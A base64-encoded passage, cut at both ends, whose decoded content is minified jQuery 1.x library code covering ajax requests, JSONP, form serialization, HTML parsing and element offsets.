sZixnLGgsaSxqPXt9LGs9YS5kYXRhVHlwZXMuc2xpY2UoKTtpZihrWzFdKWZvcihnIGluIGEuY29udmVydGVycylqW2cudG9Mb3dlckNhc2UoKV09YS5jb252ZXJ0ZXJzW2ddO2Y9ay5zaGlmdCgpO3doaWxlKGYpaWYoYS5yZXNwb25zZUZpZWxkc1tmXSYmKGNbYS5yZXNwb25zZUZpZWxkc1tmXV09YiksIWkmJmQmJmEuZGF0YUZpbHRlciYmKGI9YS5kYXRhRmlsdGVyKGIsYS5kYXRhVHlwZSkpLGk9ZixmPWsuc2hpZnQoKSlpZigiKiI9PT1mKWY9aTtlbHNlIGlmKCIqIiE9PWkmJmkhPT1mKXtpZihnPWpbaSsiICIrZl18fGpbIiogIitmXSwhZylmb3IoZSBpbiBqKWlmKGg9ZS5zcGxpdCgiICIpLGhbMV09PT1mJiYoZz1qW2krIiAiK2hbMF1dfHxqWyIqICIraFswXV0pKXtnPT09ITA/Zz1qW2VdOmpbZV0hPT0hMCYmKGY9aFswXSxrLnVuc2hpZnQoaFsxXSkpO2JyZWFrfWlmKGchPT0hMClpZihnJiZhWyJ0aHJvd3MiXSliPWcoYik7ZWxzZSB0cnl7Yj1nKGIpfWNhdGNoKGwpe3JldHVybntzdGF0ZToicGFyc2VyZXJyb3IiLGVycm9yOmc/bDoiTm8gY29udmVyc2lvbiBmcm9tICIraSsiIHRvICIrZn19fXJldHVybntzdGF0ZToic3VjY2VzcyIsZGF0YTpifX1uLmV4dGVuZCh7YWN0aXZlOjAsbGFzdE1vZGlmaWVkOnt9LGV0YWc6e30sYWpheFNldHRpbmdzOnt1cmw6QWMsdHlwZToiR0VUIixpc0xvY2FsOkVjLnRlc3QoemNbMV0pLGdsb2JhbDohMCxwcm9jZXNzRGF0YTohMCxhc3luYzohMCxjb250ZW50VHlwZToiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04IixhY2NlcHRzOnsiKiI6S2MsdGV4dDoidGV4dC9wbGFpbiIsaHRtbDoidGV4dC9odG1sIix4bWw6ImFwcGxpY2F0aW9uL3htbCwgdGV4dC94bWwiLGpzb246ImFwcGxpY2F0aW9uL2pzb24sIHRleHQvamF2YXNjcmlwdCJ9LGNvbnRlbnRzOnt4bWw6L3htbC8saHRtbDovaHRtbC8sanNvbjovanNvbi99LHJlc3BvbnNlRmllbGRzOnt4bWw6InJlc3BvbnNlWE1MIix0ZXh0OiJyZXNwb25zZVRleHQiLGpzb246InJlc3BvbnNlSlNPTiJ9LGNvbnZlcnRlcnM6eyIqIHRleHQiOlN0cmluZywidGV4dCBodG1sIjohMCwidGV4dCBqc29uIjpuLnBhcnNlSlNPTiwidGV4dCB4bWwiOm4ucGFyc2VYTUx9LGZsYXRPcHRpb25zOnt1cmw6ITAsY29udGV4dDohMH19LGFqYXhTZXR1cDpmdW5jdGlvbihhLGIpe3JldHVybiBiP09jKE9jKGEsbi5hamF4U2V0dGluZ3MpLGIpOk9jKG4uYWpheFNldHRpbmdzLGEpfSxhamF4UHJlZmlsdGVyOk1jKEljKSxhamF4VHJhbnNwb3J0Ok1jKEpjKSxhamF4OmZ1bmN0aW9uKGEsYil7Im9iamVjdCI9PXR5cGVvZiBhJiYoYj1hLGE9dm9pZCAwKSxiPWJ8fHt9O3ZhciBjLGQsZSxmLGcsaCxpLGosaz1uLmFqYXhTZXR1cCh7fSxiKSxsPWsuY29udGV4dHx8ayxtPWsuY29udGV4dCYmKGwubm9kZVR5cGV8fGwuanF1ZXJ5KT9uKGwpOm4uZXZlbnQsbz1uLkRlZmVycmVkKCkscD1uLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSxxPWsuc3RhdHVzQ29kZXx8e30scj17fSxzPXt9LHQ9MCx1PSJjYW5jZWxlZCIsdj17cmVhZHlTdGF0ZTowLGdldFJlc3BvbnNlSGVhZGVyOmZ1bmN0aW9uKGEpe3ZhciBiO2lmKDI9PT10KXtpZighail7aj17fTt3aGlsZShiPURjLmV4ZWMoZikpaltiWzFdLnRvTG93ZXJDYXNlKCldPWJbMl19Yj1qW2EudG9Mb3dlckNhc2UoKV19cmV0dXJuIG51bGw9PWI/bnVsbDpifSxnZXRBbGxSZXNwb25zZUhlYWRlcnM6ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXQ/ZjpudWxsfSxzZXRSZXF1ZXN0SGVhZGVyOmZ1bmN0aW9uKGEsYil7dmFyIGM9YS50b0xvd2VyQ2FzZSgpO3JldHVybiB0fHwoYT1zW2NdPXNbY118fGEsclthXT1iKSx0aGlzfSxvdmVycmlkZU1pbWVUeXBlOmZ1bmN0aW9uKGEpe3JldHVybiB0fHwoay5taW1lVHlwZT1hKSx0aGlzfSxzdGF0dXNDb2RlOmZ1bmN0aW9uKGEpe3ZhciBiO2lmKGEpaWYoMj50KWZvcihiIGluIGEpcVtiXT1bcVtiXSxhW2JdXTtlbHNlIHYuYWx3YXlzKGFbdi5zdGF0dXNdKTtyZXR1cm4gdGhpc30sYWJvcnQ6ZnVuY3Rpb24oYSl7dmFyIGI9YXx8dTtyZXR1cm4gaSYmaS5hYm9ydChiKSx4KDAsYiksdGhpc319O2lmKG8ucHJvbWlzZSh2KS5jb21wbGV0ZT1wLmFkZCx2LnN1Y2Nlc3M9di5kb25lLHYuZXJyb3I9di5mYWlsLGsudXJsPSgoYXx8ay51cmx8fEFjKSsiIikucmVwbGFjZShCYywiIikucmVwbGFjZShHYyx6Y1sxXSsiLy8iKSxrLnR5cGU9Yi5tZXRob2R8fGIudHlwZXx8ay5tZXRob2R8fGsudHlwZSxrLmRhdGFUeXBlcz1uLnRyaW0oay5kYXRhVHlwZXx8IioiKS50b0xvd2VyQ2FzZSgpLm1hdGNoKEYpfHxbIiJdLG51bGw9PWsuY3Jvc3NEb21haW4mJihjPUhjLmV4ZWMoay51cmwudG9Mb3dlckNhc2UoKSksay5jcm9zc0RvbWFpbj0hKCFjfHxjWzFdPT09emNbMV0mJmNbMl09PT16Y1syXSYmKGNbM118fCgiaHR0cDoiPT09Y1sxXT8iODAiOiI0NDMiKSk9PT0oemNbM118fCgiaHR0cDoiPT09emNbMV0/IjgwIjoiNDQzIikpKSksay5kYXRhJiZrLnByb2Nlc3NEYXRhJiYic3RyaW5nIiE9dHlwZW9mIGsuZGF0YSYmKGsuZGF0YT1uLnBhcmFtKGsuZGF0YSxrLnRyYWRpdGlvbmFsKSksTmMoSWMsayxiLHYpLDI9PT10KXJldHVybiB2O2g9ay5nbG9iYWwsaCYmMD09PW4uYWN0aXZlKysmJm4uZXZlbnQudHJpZ2dlcigiYWpheFN0YXJ0Iiksay50eXBlPWsudHlwZS50b1VwcGVyQ2FzZSgpLGsuaGFzQ29udGVudD0hRmMudGVzdChrLnR5cGUpLGU9ay51cmwsay5oYXNDb250ZW50fHwoay5kYXRhJiYoZT1rLnVybCs9KHhjLnRlc3QoZSk/IiYiOiI/Iikray5kYXRhLGRlbGV0ZSBrLmRhdGEpLGsuY2FjaGU9PT0hMSYmKGsudXJsPUNjLnRlc3QoZSk/ZS5yZXBsYWNlKENjLCIkMV89Iit3YysrKTplKyh4Yy50ZXN0KGUpPyImIjoiPyIpKyJfPSIrd2MrKykpLGsuaWZNb2RpZmllZCYmKG4ubGFzdE1vZGlmaWVkW2VdJiZ2LnNldFJlcXVlc3RIZWFkZXIoIklmLU1vZGlmaWVkLVNpbmNlIixuLmxhc3RNb2RpZmllZFtlXSksbi5ldGFnW2VdJiZ2LnNldFJlcXVlc3RIZWFkZXIoIklmLU5vbmUtTWF0Y2giLG4uZXRhZ1tlXSkpLChrLmRhdGEmJmsuaGFzQ29udGVudCYmay5jb250ZW50VHlwZSE9PSExfHxiLmNvbnRlbnRUeXBlKSYmdi5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLGsuY29udGVudFR5cGUpLHYuc2V0UmVxdWVzdEhlYWRlcigiQWNjZXB0IixrLmRhdGFUeXBlc1swXSYmay5hY2NlcHRzW2suZGF0YVR5cGVzWzBdXT9rLmFjY2VwdHNbay5kYXRhVHlwZXNbMF1dKygiKiIhPT1rLmRhdGFUeXBlc1swXT8iLCAiK0tjKyI7IHE9MC4wMSI6IiIpOmsuYWNjZXB0c1siKiJdKTtmb3IoZCBpbiBrLmhlYWRlcnMpdi5zZXRSZXF1ZXN0SGVhZGVyKGQsay5oZWFkZXJzW2RdKTtpZihrLmJlZm9yZVNlbmQmJihrLmJlZm9yZVNlbmQuY2FsbChsLHYsayk9PT0hMXx8Mj09PXQpKXJldHVybiB2LmFib3J0KCk7dT0iYWJvcnQiO2ZvcihkIGlue3N1Y2Nlc3M6MSxlcnJvcjoxLGNvbXBsZXRlOjF9KXZbZF0oa1tkXSk7aWYoaT1OYyhKYyxrLGIsdikpe3YucmVhZHlTdGF0ZT0xLGgmJm0udHJpZ2dlcigiYWpheFNlbmQiLFt2LGtdKSxrLmFzeW5jJiZrLnRpbWVvdXQ+MCYmKGc9c2V0VGltZW91dChmdW5jdGlvbigpe3YuYWJvcnQoInRpbWVvdXQiKX0say50aW1lb3V0KSk7dHJ5e3Q9MSxpLnNlbmQocix4KX1jYXRjaCh3KXtpZighKDI+dCkpdGhyb3cgdzt4KC0xLHcpfX1lbHNlIHgoLTEsIk5vIFRyYW5zcG9ydCIpO2Z1bmN0aW9uIHgoYSxiLGMsZCl7dmFyIGoscixzLHUsdyx4PWI7MiE9PXQmJih0PTIsZyYmY2xlYXJUaW1lb3V0KGcpLGk9dm9pZCAwLGY9ZHx8IiIsdi5yZWFkeVN0YXRlPWE+MD80OjAsaj1hPj0yMDAmJjMwMD5hfHwzMDQ9PT1hLGMmJih1PVBjKGssdixjKSksdT1RYyhrLHUsdixqKSxqPyhrLmlmTW9kaWZpZWQmJih3PXYuZ2V0UmVzcG9uc2VIZWFkZXIoIkxhc3QtTW9kaWZpZWQiKSx3JiYobi5sYXN0TW9kaWZpZWRbZV09dyksdz12LmdldFJlc3BvbnNlSGVhZGVyKCJldGFnIiksdyYmKG4uZXRhZ1tlXT13KSksMjA0PT09YXx8IkhFQUQiPT09ay50eXBlP3g9Im5vY29udGVudCI6MzA0PT09YT94PSJub3Rtb2RpZmllZCI6KHg9dS5zdGF0ZSxyPXUuZGF0YSxzPXUuZXJyb3Isaj0hcykpOihzPXgsKGF8fCF4KSYmKHg9ImVycm9yIiwwPmEmJihhPTApKSksdi5zdGF0dXM9YSx2LnN0YXR1c1RleHQ9KGJ8fHgpKyIiLGo/by5yZXNvbHZlV2l0aChsLFtyLHgsdl0pOm8ucmVqZWN0V2l0aChsLFt2LHgsc10pLHYuc3RhdHVzQ29kZShxKSxxPXZvaWQgMCxoJiZtLnRyaWdnZXIoaj8iYWpheFN1Y2Nlc3MiOiJhamF4RXJyb3IiLFt2LGssaj9yOnNdKSxwLmZpcmVXaXRoKGwsW3YseF0pLGgmJihtLnRyaWdnZXIoImFqYXhDb21wbGV0ZSIsW3Ysa10pLC0tbi5hY3RpdmV8fG4uZXZlbnQudHJpZ2dlcigiYWpheFN0b3AiKSkpfXJldHVybiB2fSxnZXRKU09OOmZ1bmN0aW9uKGEsYixjKXtyZXR1cm4gbi5nZXQoYSxiLGMsImpzb24iKX0sZ2V0U2NyaXB0OmZ1bmN0aW9uKGEsYil7cmV0dXJuIG4uZ2V0KGEsdm9pZCAwLGIsInNjcmlwdCIpfX0pLG4uZWFjaChbImdldCIsInBvc3QiXSxmdW5jdGlvbihhLGIpe25bYl09ZnVuY3Rpb24oYSxjLGQsZSl7cmV0dXJuIG4uaXNGdW5jdGlvbihjKSYmKGU9ZXx8ZCxkPWMsYz12b2lkIDApLG4uYWpheCh7dXJsOmEsdHlwZTpiLGRhdGFUeXBlOmUsZGF0YTpjLHN1Y2Nlc3M6ZH0pfX0pLG4uZWFjaChbImFqYXhTdGFydCIsImFqYXhTdG9wIiwiYWpheENvbXBsZXRlIiwiYWpheEVycm9yIiwiYWpheFN1Y2Nlc3MiLCJhamF4U2VuZCJdLGZ1bmN0aW9uKGEsYil7bi5mbltiXT1mdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5vbihiLGEpfX0pLG4uX2V2YWxVcmw9ZnVuY3Rpb24oYSl7cmV0dXJuIG4uYWpheCh7dXJsOmEsdHlwZToiR0VUIixkYXRhVHlwZToic2NyaXB0Iixhc3luYzohMSxnbG9iYWw6ITEsInRocm93cyI6ITB9KX0sbi5mbi5leHRlbmQoe3dyYXBBbGw6ZnVuY3Rpb24oYSl7aWYobi5pc0Z1bmN0aW9uKGEpKXJldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oYil7bih0aGlzKS53cmFwQWxsKGEuY2FsbCh0aGlzLGIpKX0pO2lmKHRoaXNbMF0pe3ZhciBiPW4oYSx0aGlzWzBdLm93bmVyRG9jdW1lbnQpLmVxKDApLmNsb25lKCEwKTt0aGlzWzBdLnBhcmVudE5vZGUmJmIuaW5zZXJ0QmVmb3JlKHRoaXNbMF0pLGIubWFwKGZ1bmN0aW9uKCl7dmFyIGE9dGhpczt3aGlsZShhLmZpcnN0Q2hpbGQmJjE9PT1hLmZpcnN0Q2hpbGQubm9kZVR5cGUpYT1hLmZpcnN0Q2hpbGQ7cmV0dXJuIGF9KS5hcHBlbmQodGhpcyl9cmV0dXJuIHRoaXN9LHdyYXBJbm5lcjpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5lYWNoKG4uaXNGdW5jdGlvbihhKT9mdW5jdGlvbihiKXtuKHRoaXMpLndyYXBJbm5lcihhLmNhbGwodGhpcyxiKSl9OmZ1bmN0aW9uKCl7dmFyIGI9bih0aGlzKSxjPWIuY29udGVudHMoKTtjLmxlbmd0aD9jLndyYXBBbGwoYSk6Yi5hcHBlbmQoYSl9KX0sd3JhcDpmdW5jdGlvbihhKXt2YXIgYj1uLmlzRnVuY3Rpb24oYSk7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihjKXtuKHRoaXMpLndyYXBBbGwoYj9hLmNhbGwodGhpcyxjKTphKX0pfSx1bndyYXA6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5wYXJlbnQoKS5lYWNoKGZ1bmN0aW9uKCl7bi5ub2RlTmFtZSh0aGlzLCJib2R5Iil8fG4odGhpcykucmVwbGFjZVdpdGgodGhpcy5jaGlsZE5vZGVzKX0pLmVuZCgpfX0pLG4uZXhwci5maWx0ZXJzLmhpZGRlbj1mdW5jdGlvbihhKXtyZXR1cm4gYS5vZmZzZXRXaWR0aDw9MCYmYS5vZmZzZXRIZWlnaHQ8PTB8fCFsLnJlbGlhYmxlSGlkZGVuT2Zmc2V0cygpJiYibm9uZSI9PT0oYS5zdHlsZSYmYS5zdHlsZS5kaXNwbGF5fHxuLmNzcyhhLCJkaXNwbGF5IikpfSxuLmV4cHIuZmlsdGVycy52aXNpYmxlPWZ1bmN0aW9uKGEpe3JldHVybiFuLmV4cHIuZmlsdGVycy5oaWRkZW4oYSl9O3ZhciBSYz0vJTIwL2csU2M9L1xbXF0kLyxUYz0vXHI/XG4vZyxVYz0vXig/OnN1Ym1pdHxidXR0b258aW1hZ2V8cmVzZXR8ZmlsZSkkL2ksVmM9L14oPzppbnB1dHxzZWxlY3R8dGV4dGFyZWF8a2V5Z2VuKS9pO2Z1bmN0aW9uIFdjKGEsYixjLGQpe3ZhciBlO2lmKG4uaXNBcnJheShiKSluLmVhY2goYixmdW5jdGlvbihiLGUpe2N8fFNjLnRlc3QoYSk/ZChhLGUpOldjKGErIlsiKygib2JqZWN0Ij09dHlwZW9mIGU/YjoiIikrIl0iLGUsYyxkKX0pO2Vsc2UgaWYoY3x8Im9iamVjdCIhPT1uLnR5cGUoYikpZChhLGIpO2Vsc2UgZm9yKGUgaW4gYilXYyhhKyJbIitlKyJdIixiW2VdLGMsZCl9bi5wYXJhbT1mdW5jdGlvbihhLGIpe3ZhciBjLGQ9W10sZT1mdW5jdGlvbihhLGIpe2I9bi5pc0Z1bmN0aW9uKGIpP2IoKTpudWxsPT1iPyIiOmIsZFtkLmxlbmd0aF09ZW5jb2RlVVJJQ29tcG9uZW50KGEpKyI9IitlbmNvZGVVUklDb21wb25lbnQoYil9O2lmKHZvaWQgMD09PWImJihiPW4uYWpheFNldHRpbmdzJiZuLmFqYXhTZXR0aW5ncy50cmFkaXRpb25hbCksbi5pc0FycmF5KGEpfHxhLmpxdWVyeSYmIW4uaXNQbGFpbk9iamVjdChhKSluLmVhY2goYSxmdW5jdGlvbigpe2UodGhpcy5uYW1lLHRoaXMudmFsdWUpfSk7ZWxzZSBmb3IoYyBpbiBhKVdjKGMsYVtjXSxiLGUpO3JldHVybiBkLmpvaW4oIiYiKS5yZXBsYWNlKFJjLCIrIil9LG4uZm4uZXh0ZW5kKHtzZXJpYWxpemU6ZnVuY3Rpb24oKXtyZXR1cm4gbi5wYXJhbSh0aGlzLnNlcmlhbGl6ZUFycmF5KCkpfSxzZXJpYWxpemVBcnJheTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3ZhciBhPW4ucHJvcCh0aGlzLCJlbGVtZW50cyIpO3JldHVybiBhP24ubWFrZUFycmF5KGEpOnRoaXN9KS5maWx0ZXIoZnVuY3Rpb24oKXt2YXIgYT10aGlzLnR5cGU7cmV0dXJuIHRoaXMubmFtZSYmIW4odGhpcykuaXMoIjpkaXNhYmxlZCIpJiZWYy50ZXN0KHRoaXMubm9kZU5hbWUpJiYhVWMudGVzdChhKSYmKHRoaXMuY2hlY2tlZHx8IVgudGVzdChhKSl9KS5tYXAoZnVuY3Rpb24oYSxiKXt2YXIgYz1uKHRoaXMpLnZhbCgpO3JldHVybiBudWxsPT1jP251bGw6bi5pc0FycmF5KGMpP24ubWFwKGMsZnVuY3Rpb24oYSl7cmV0dXJue25hbWU6Yi5uYW1lLHZhbHVlOmEucmVwbGFjZShUYywiXHJcbiIpfX0pOntuYW1lOmIubmFtZSx2YWx1ZTpjLnJlcGxhY2UoVGMsIlxyXG4iKX19KS5nZXQoKX19KSxuLmFqYXhTZXR0aW5ncy54aHI9dm9pZCAwIT09YS5BY3RpdmVYT2JqZWN0P2Z1bmN0aW9uKCl7cmV0dXJuIXRoaXMuaXNMb2NhbCYmL14oZ2V0fHBvc3R8aGVhZHxwdXR8ZGVsZXRlfG9wdGlvbnMpJC9pLnRlc3QodGhpcy50eXBlKSYmJGMoKXx8X2MoKX06JGM7dmFyIFhjPTAsWWM9e30sWmM9bi5hamF4U2V0dGluZ3MueGhyKCk7YS5BY3RpdmVYT2JqZWN0JiZuKGEpLm9uKCJ1bmxvYWQiLGZ1bmN0aW9uKCl7Zm9yKHZhciBhIGluIFljKVljW2FdKHZvaWQgMCwhMCl9KSxsLmNvcnM9ISFaYyYmIndpdGhDcmVkZW50aWFscyJpbiBaYyxaYz1sLmFqYXg9ISFaYyxaYyYmbi5hamF4VHJhbnNwb3J0KGZ1bmN0aW9uKGEpe2lmKCFhLmNyb3NzRG9tYWlufHxsLmNvcnMpe3ZhciBiO3JldHVybntzZW5kOmZ1bmN0aW9uKGMsZCl7dmFyIGUsZj1hLnhocigpLGc9KytYYztpZihmLm9wZW4oYS50eXBlLGEudXJsLGEuYXN5bmMsYS51c2VybmFtZSxhLnBhc3N3b3JkKSxhLnhockZpZWxkcylmb3IoZSBpbiBhLnhockZpZWxkcylmW2VdPWEueGhyRmllbGRzW2VdO2EubWltZVR5cGUmJmYub3ZlcnJpZGVNaW1lVHlwZSYmZi5vdmVycmlkZU1pbWVUeXBlKGEubWltZVR5cGUpLGEuY3Jvc3NEb21haW58fGNbIlgtUmVxdWVzdGVkLVdpdGgiXXx8KGNbIlgtUmVxdWVzdGVkLVdpdGgiXT0iWE1MSHR0cFJlcXVlc3QiKTtmb3IoZSBpbiBjKXZvaWQgMCE9PWNbZV0mJmYuc2V0UmVxdWVzdEhlYWRlcihlLGNbZV0rIiIpO2Yuc2VuZChhLmhhc0NvbnRlbnQmJmEuZGF0YXx8bnVsbCksYj1mdW5jdGlvbihjLGUpe3ZhciBoLGksajtpZihiJiYoZXx8ND09PWYucmVhZHlTdGF0ZSkpaWYoZGVsZXRlIFljW2ddLGI9dm9pZCAwLGYub25yZWFkeXN0YXRlY2hhbmdlPW4ubm9vcCxlKTQhPT1mLnJlYWR5U3RhdGUmJmYuYWJvcnQoKTtlbHNle2o9e30saD1mLnN0YXR1cywic3RyaW5nIj09dHlwZW9mIGYucmVzcG9uc2VUZXh0JiYoai50ZXh0PWYucmVzcG9uc2VUZXh0KTt0cnl7aT1mLnN0YXR1c1RleHR9Y2F0Y2goayl7aT0iIn1ofHwhYS5pc0xvY2FsfHxhLmNyb3NzRG9tYWluPzEyMjM9PT1oJiYoaD0yMDQpOmg9ai50ZXh0PzIwMDo0MDR9aiYmZChoLGksaixmLmdldEFsbFJlc3BvbnNlSGVhZGVycygpKX0sYS5hc3luYz80PT09Zi5yZWFkeVN0YXRlP3NldFRpbWVvdXQoYik6Zi5vbnJlYWR5c3RhdGVjaGFuZ2U9WWNbZ109YjpiKCl9LGFib3J0OmZ1bmN0aW9uKCl7YiYmYih2b2lkIDAsITApfX19fSk7ZnVuY3Rpb24gJGMoKXt0cnl7cmV0dXJuIG5ldyBhLlhNTEh0dHBSZXF1ZXN0fWNhdGNoKGIpe319ZnVuY3Rpb24gX2MoKXt0cnl7cmV0dXJuIG5ldyBhLkFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIil9Y2F0Y2goYil7fX1uLmFqYXhTZXR1cCh7YWNjZXB0czp7c2NyaXB0OiJ0ZXh0L2phdmFzY3JpcHQsIGFwcGxpY2F0aW9uL2phdmFzY3JpcHQsIGFwcGxpY2F0aW9uL2VjbWFzY3JpcHQsIGFwcGxpY2F0aW9uL3gtZWNtYXNjcmlwdCJ9LGNvbnRlbnRzOntzY3JpcHQ6Lyg/OmphdmF8ZWNtYSlzY3JpcHQvfSxjb252ZXJ0ZXJzOnsidGV4dCBzY3JpcHQiOmZ1bmN0aW9uKGEpe3JldHVybiBuLmdsb2JhbEV2YWwoYSksYX19fSksbi5hamF4UHJlZmlsdGVyKCJzY3JpcHQiLGZ1bmN0aW9uKGEpe3ZvaWQgMD09PWEuY2FjaGUmJihhLmNhY2hlPSExKSxhLmNyb3NzRG9tYWluJiYoYS50eXBlPSJHRVQiLGEuZ2xvYmFsPSExKX0pLG4uYWpheFRyYW5zcG9ydCgic2NyaXB0IixmdW5jdGlvbihhKXtpZihhLmNyb3NzRG9tYWluKXt2YXIgYixjPXouaGVhZHx8bigiaGVhZCIpWzBdfHx6LmRvY3VtZW50RWxlbWVudDtyZXR1cm57c2VuZDpmdW5jdGlvbihkLGUpe2I9ei5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKSxiLmFzeW5jPSEwLGEuc2NyaXB0Q2hhcnNldCYmKGIuY2hhcnNldD1hLnNjcmlwdENoYXJzZXQpLGIuc3JjPWEudXJsLGIub25sb2FkPWIub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKGEsYyl7KGN8fCFiLnJlYWR5U3RhdGV8fC9sb2FkZWR8Y29tcGxldGUvLnRlc3QoYi5yZWFkeVN0YXRlKSkmJihiLm9ubG9hZD1iLm9ucmVhZHlzdGF0ZWNoYW5nZT1udWxsLGIucGFyZW50Tm9kZSYmYi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGIpLGI9bnVsbCxjfHxlKDIwMCwic3VjY2VzcyIpKX0sYy5pbnNlcnRCZWZvcmUoYixjLmZpcnN0Q2hpbGQpfSxhYm9ydDpmdW5jdGlvbigpe2ImJmIub25sb2FkKHZvaWQgMCwhMCl9fX19KTt2YXIgYWQ9W10sYmQ9Lyg9KVw/KD89JnwkKXxcP1w/LztuLmFqYXhTZXR1cCh7anNvbnA6ImNhbGxiYWNrIixqc29ucENhbGxiYWNrOmZ1bmN0aW9uKCl7dmFyIGE9YWQucG9wKCl8fG4uZXhwYW5kbysiXyIrd2MrKztyZXR1cm4gdGhpc1thXT0hMCxhfX0pLG4uYWpheFByZWZpbHRlcigianNvbiBqc29ucCIsZnVuY3Rpb24oYixjLGQpe3ZhciBlLGYsZyxoPWIuanNvbnAhPT0hMSYmKGJkLnRlc3QoYi51cmwpPyJ1cmwiOiJzdHJpbmciPT10eXBlb2YgYi5kYXRhJiYhKGIuY29udGVudFR5cGV8fCIiKS5pbmRleE9mKCJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSYmYmQudGVzdChiLmRhdGEpJiYiZGF0YSIpO3JldHVybiBofHwianNvbnAiPT09Yi5kYXRhVHlwZXNbMF0/KGU9Yi5qc29ucENhbGxiYWNrPW4uaXNGdW5jdGlvbihiLmpzb25wQ2FsbGJhY2spP2IuanNvbnBDYWxsYmFjaygpOmIuanNvbnBDYWxsYmFjayxoP2JbaF09YltoXS5yZXBsYWNlKGJkLCIkMSIrZSk6Yi5qc29ucCE9PSExJiYoYi51cmwrPSh4Yy50ZXN0KGIudXJsKT8iJiI6Ij8iKStiLmpzb25wKyI9IitlKSxiLmNvbnZlcnRlcnNbInNjcmlwdCBqc29uIl09ZnVuY3Rpb24oKXtyZXR1cm4gZ3x8bi5lcnJvcihlKyIgd2FzIG5vdCBjYWxsZWQiKSxnWzBdfSxiLmRhdGFUeXBlc1swXT0ianNvbiIsZj1hW2VdLGFbZV09ZnVuY3Rpb24oKXtnPWFyZ3VtZW50c30sZC5hbHdheXMoZnVuY3Rpb24oKXthW2VdPWYsYltlXSYmKGIuanNvbnBDYWxsYmFjaz1jLmpzb25wQ2FsbGJhY2ssYWQucHVzaChlKSksZyYmbi5pc0Z1bmN0aW9uKGYpJiZmKGdbMF0pLGc9Zj12b2lkIDB9KSwic2NyaXB0Iik6dm9pZCAwfSksbi5wYXJzZUhUTUw9ZnVuY3Rpb24oYSxiLGMpe2lmKCFhfHwic3RyaW5nIiE9dHlwZW9mIGEpcmV0dXJuIG51bGw7ImJvb2xlYW4iPT10eXBlb2YgYiYmKGM9YixiPSExKSxiPWJ8fHo7dmFyIGQ9di5leGVjKGEpLGU9IWMmJltdO3JldHVybiBkP1tiLmNyZWF0ZUVsZW1lbnQoZFsxXSldOihkPW4uYnVpbGRGcmFnbWVudChbYV0sYixlKSxlJiZlLmxlbmd0aCYmbihlKS5yZW1vdmUoKSxuLm1lcmdlKFtdLGQuY2hpbGROb2RlcykpfTt2YXIgY2Q9bi5mbi5sb2FkO24uZm4ubG9hZD1mdW5jdGlvbihhLGIsYyl7aWYoInN0cmluZyIhPXR5cGVvZiBhJiZjZClyZXR1cm4gY2QuYXBwbHkodGhpcyxhcmd1bWVudHMpO3ZhciBkLGUsZixnPXRoaXMsaD1hLmluZGV4T2YoIiAiKTtyZXR1cm4gaD49MCYmKGQ9YS5zbGljZShoLGEubGVuZ3RoKSxhPWEuc2xpY2UoMCxoKSksbi5pc0Z1bmN0aW9uKGIpPyhjPWIsYj12b2lkIDApOmImJiJvYmplY3QiPT10eXBlb2YgYiYmKGY9IlBPU1QiKSxnLmxlbmd0aD4wJiZuLmFqYXgoe3VybDphLHR5cGU6ZixkYXRhVHlwZToiaHRtbCIsZGF0YTpifSkuZG9uZShmdW5jdGlvbihhKXtlPWFyZ3VtZW50cyxnLmh0bWwoZD9uKCI8ZGl2PiIpLmFwcGVuZChuLnBhcnNlSFRNTChhKSkuZmluZChkKTphKX0pLmNvbXBsZXRlKGMmJmZ1bmN0aW9uKGEsYil7Zy5lYWNoKGMsZXx8W2EucmVzcG9uc2VUZXh0LGIsYV0pfSksdGhpc30sbi5leHByLmZpbHRlcnMuYW5pbWF0ZWQ9ZnVuY3Rpb24oYSl7cmV0dXJuIG4uZ3JlcChuLnRpbWVycyxmdW5jdGlvbihiKXtyZXR1cm4gYT09PWIuZWxlbX0pLmxlbmd0aH07dmFyIGRkPWEuZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50O2Z1bmN0aW9uIGVkKGEpe3JldHVybiBuLmlzV2luZG93KGEpP2E6OT09PWEubm9kZVR5cGU/YS5kZWZhdWx0Vmlld3x8YS5wYXJlbnRXaW5kb3c6ITF9bi5vZmZzZXQ9e3NldE9mZnNldDpmdW5jdGlvbihhLGIsYyl7dmFyIGQsZSxmLGcsaCxpLGosaz1uLmNzcyhhLCJwb3NpdGlvbiIpLGw9bihhKSxtPXt9OyJzdGF0aWMiPT09ayYmKGEuc3R5bGUucG9zaXRpb249InJlbGF0aXZlIiksaD1sLm9mZnNldCgpLGY9bi5jc3MoYSwidG9wIiksaT1uLmNzcyhhLCJsZWZ0Iiksaj0oImFic29sdXRlIj09PWt8fCJmaXhlZCI9PT1rKSYmbi5pbkFycmF5KCJhdXRvIixbZixpXSk+LTEsaj8oZD1sLnBvc2l0aW9uKCksZz1kLnRvcCxlPWQubGVmdCk6KGc9cGFyc2VGbG9hdChmKXx8MCxlPXBhcnNlRmxvYXQoaSl8fDApLG4uaXNGdW5jdGlvbihiKSYmKGI9Yi5jYWxsKGEsYyxoKSksbnVsbCE9Yi50b3AmJihtLnRvcD1iLnRvcC1oLnRvcCtnKSxudWxsIT1iLmxlZnQmJihtLmxlZnQ9Yi5sZWZ0LWgubGVmdCtlKSwidXNpbmciaW4gYj9iLnVzaW5nLmNhbGwoYSxtKTpsLmNzcyhtKX19LG4uZm4uZXh0ZW5kKHtvZmZzZXQ6ZnVuY3Rpb24oYSl7aWYoYXJndW1lbnRzLmxlbmd0aClyZXR1cm4gdm9pZCAwPT09YT90aGlzOnRoaXMuZWFjaChmdW5jdGlvbihiKXtuLm9mZnNldC5zZXRPZmZzZXQodGhpcyxhLGIpfSk7dmFyIGIs